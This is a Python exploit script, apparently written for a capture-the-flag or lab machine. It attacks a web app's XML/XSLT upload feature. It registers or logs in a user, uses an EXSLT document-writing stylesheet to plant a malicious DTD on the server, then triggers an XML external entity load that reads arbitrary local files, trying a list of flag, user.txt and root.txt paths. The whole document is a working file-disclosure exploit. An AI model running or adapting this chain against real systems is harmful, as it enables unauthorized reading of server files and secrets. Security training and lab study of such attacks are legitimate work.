#!/usr/bin/env python3
import html
import os
import re
import sys
from pathlib import Path

import requests

BASE = os.environ.get("XSLIB_BASE", "http://192.168.1.112:5000").rstrip("/")
USERNAME = "pentester"
PASSWORD = "P@ssw0rd123!"
DTD_PATH = "/opt/web/uploads/xslib_reader.dtd"

BASIC_XML = b'<?xml version="1.0"?><root><message>baseline</message></root>'
BASIC_XSL = b'''<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
 xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:output method="html"/>
 <xsl:template match="/"><pre><xsl:value-of select="/root/message"/></pre></xsl:template>
</xsl:stylesheet>'''


def upload(session, xml_name, xml_data, xsl_name, xsl_data):
    response = session.post(
        BASE + "/upload",
        files={
            "xml_file": (xml_name, xml_data, "application/xml"),
            "xsl_file": (xsl_name, xsl_data, "application/xml"),
        },
        allow_redirects=False,
        timeout=10,
    )
    response.raise_for_status()
    location = response.headers["Location"]
    result = session.get(BASE + location, timeout=10)
    result.raise_for_status()
    return result.text


def read_file(target):
    session = requests.Session()
    login = session.post(
        BASE + "/login",
        data={"username": USERNAME, "password": PASSWORD},
        allow_redirects=False,
        timeout=10,
    )
    if login.status_code != 302:
        session.post(
            BASE + "/register",
            data={
                "username": USERNAME,
                "email": f"{USERNAME}@test.com",
                "password": PASSWORD,
                "confirm_password": PASSWORD,
                "terms": "on",
            },
            allow_redirects=False,
            timeout=10,
        )
        login = session.post(
            BASE + "/login",
            data={"username": USERNAME, "password": PASSWORD},
            allow_redirects=False,
            timeout=10,
        )
        if login.status_code != 302:
            raise RuntimeError(f"login failed: HTTP {login.status_code}")

    escaped_target = html.escape(target, quote=True)
    writer = f'''<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 xmlns:exsl="http://exslt.org/common"
 extension-element-prefixes="exsl">
 <xsl:output method="text"/>
 <xsl:template match="/">
  <exsl:document href="file://{DTD_PATH}" method="text">&lt;!ENTITY % file SYSTEM "file://{escaped_target}"&gt;
&lt;!ENTITY % define "&lt;!ENTITY xxe '%file;'&gt;"&gt;
%define;
</exsl:document>ready
 </xsl:template>
</xsl:stylesheet>'''.encode()
    writer_result = upload(session, "base.xml", BASIC_XML, "writer.xsl", writer)
    if "ready" not in writer_result:
        return "WRITE_ERROR", writer_result

    reader_xml = f'''<?xml version="1.0"?>
<!DOCTYPE root [
 <!ENTITY % remote SYSTEM "file://{DTD_PATH}">
 %remote;
]>
<root><message>&xxe;</message></root>'''.encode()
    result = upload(session, "reader.xml", reader_xml, "reader.xsl", BASIC_XSL)
    error = re.search(r'Processing error:\s*(.*?)</p>', result, re.S)
    if error:
        return "READ_ERROR", html.unescape(error.group(1)).strip()
    blocks = re.findall(r"<pre[^>]*>(.*?)</pre>", result, re.S)
    if not blocks:
        return "PARSE_ERROR", result
    return "OK", html.unescape(blocks[-1]).strip()


if __name__ == "__main__":
    targets = sys.argv[1:] or [
        "/flag",
        "/flag.txt",
        "/home/momo/flag",
        "/home/momo/flag.txt",
        "/home/momo/user.txt",
        "/root/flag",
        "/root/flag.txt",
        "/root/root.txt",
    ]
    for target in targets:
        try:
            status, value = read_file(target)
            print(f"===== {target} [{status}] =====")
            print(value)
        except Exception as exc:
            print(f"===== {target} [EXCEPTION] =====")
            print(f"{type(exc).__name__}: {exc}")